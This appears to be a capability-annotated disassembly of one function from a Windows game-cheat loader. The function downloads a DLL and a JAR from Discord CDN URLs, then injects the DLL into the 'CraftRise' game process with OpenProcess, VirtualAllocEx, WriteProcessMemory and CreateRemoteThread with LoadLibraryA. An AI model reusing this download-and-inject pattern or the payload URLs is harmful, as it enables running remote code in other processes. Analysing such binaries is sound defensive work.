Function at 0x140001f80
Capabilities:
Allocate or change rwx memory
Create thread
Download url
Inject thread
Receive data
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x140009040]
xor rax, rsp
mov qword [rbp + 0x98], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x58], xmm0
mov qword [rbp + 0x68], 0xb
mov qword [rbp + 0x70], 0xf
movsd xmm0, qword [str.C:_midnight]
movsd qword [rbp + 0x58], xmm0
movzx eax, word [0x1400056d8]
mov word [rbp + 0x60], ax
movzx eax, byte [0x1400056da]
mov byte [rbp + 0x62], al
mov byte [rbp + 0x63], 0
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x58]
lea rcx, [rsp + 0x40]
call fcn.140003100
mov rax, qword [rsp + 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x40]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::good_void_const___ptr64]
movzx ebx, al
mov rcx, qword [rsp + 0x40]
movsxd rdx, dword [rcx + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rdx + 0x40], rax
mov rcx, qword [rsp + 0x40]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0xb0]
mov dword [rsp + rdx + 0x3c], r8d
lea rcx, [rsp + 0x50]
call fcn.140003020
lea rcx, [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
test bl, bl
jne 0x14000211a
lea rcx, [rbp + 0x58]
call fcn.140001de0
test al, al
je 0x140002091
lea rdx, [0x1400056dc]
jmp 0x140002121
lea rdx, [0x1400056e0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003590
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
cmova rdx, qword [rbp + 0x58]
mov r8, qword [rbp + 0x68]
mov rcx, rax
call fcn.140003a30
mov rcx, rax
lea rdx, [0x140003760]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, 1
mov ebx, esi
mov rdx, qword [rbp + 0x70]
cmp rdx, 0xf
jbe 0x140002404
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400023ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [0x1400056e4]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003590
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0xf
mov r8, qword [rbp + 0x68]
cmova rdx, qword [rbp + 0x58]
mov rcx, rax
call fcn.140003a30
lea rdx, [0x140003760]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor esi, esi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.C:midnightmidnight.dll
lea rdx, str.https:__cdn.discordapp.com_attachments_1188476159541923952_1207747453827285042_riyal_anti_cheat.dll_ex65e0c577is65ce5077hm35ba69ca2403683370d489b565fa49245f4b7dc10810a23f038c15e70c2f1be4
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
test eax, eax
js 0x140002192
lea rdx, [0x1400056bc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003590
jmp 0x1400021c0
lea rdx, str.err_1:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003590
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003760]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, str.C:midnightmidnight.jar
lea rdx, str.https:__cdn.discordapp.com_attachments_1208103073373749331_1208136787797606462_midnight.jar_ex65e23010is65cfbb10hm6636a652fb9c0f2d84933295e125cff712690144521854954d101117e55a3193
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
test eax, eax
js 0x1400021f9
lea rdx, [0x1400056bc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003590
jmp 0x140002227
lea rdx, str.err_1:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140003590
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140003760]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.CraftRise
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400020d3
mov dword [rbp + 0x50], esi
lea rdx, [rbp + 0x50]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, dword [rbp + 0x50]
test edi, edi
je 0x1400020d3
mov dword [0x140009a04], edi
mov qword [rbp + 0x80], rsi
mov ecx, 0x20
call fcn.140003c70
mov qword [rbp + 0x78], rax
mov qword [rbp + 0x88], 0x18
mov qword [rbp + 0x90], 0x1f
movups xmm0, xmmword [str.C:midnightmidnight.dll]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400057c8]
movsd qword [rax + 0x10], xmm0
mov byte [rax + 0x18], sil
call fcn.140001120
test eax, eax
je 0x1400023a1
lea rbx, [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova rbx, qword [rbp + 0x78]
mov r8d, edi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
mov r8, rbx
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov qword [rsp + 0x20], rsi
mov r9d, 0x104
lea r8, [rsp + 0x40]
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rbx
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 4
mov r8d, 0x3000
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call fcn.140001340
xor r9d, r9d
lea r8, str.he_yarram
lea rdx, str.hile_acildi_az_bekle_oyunda
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ebx, esi
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x1400023e4
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400023df
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003cac
mov qword [rbp + 0x88], rsi
mov qword [rbp + 0x90], 0xf
mov byte [rbp + 0x78], sil
jmp 0x1400020d5
call fcn.140003cac
mov eax, ebx
mov rcx, qword [rbp + 0x98]
xor rcx, rsp
call fcn.140003c50
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret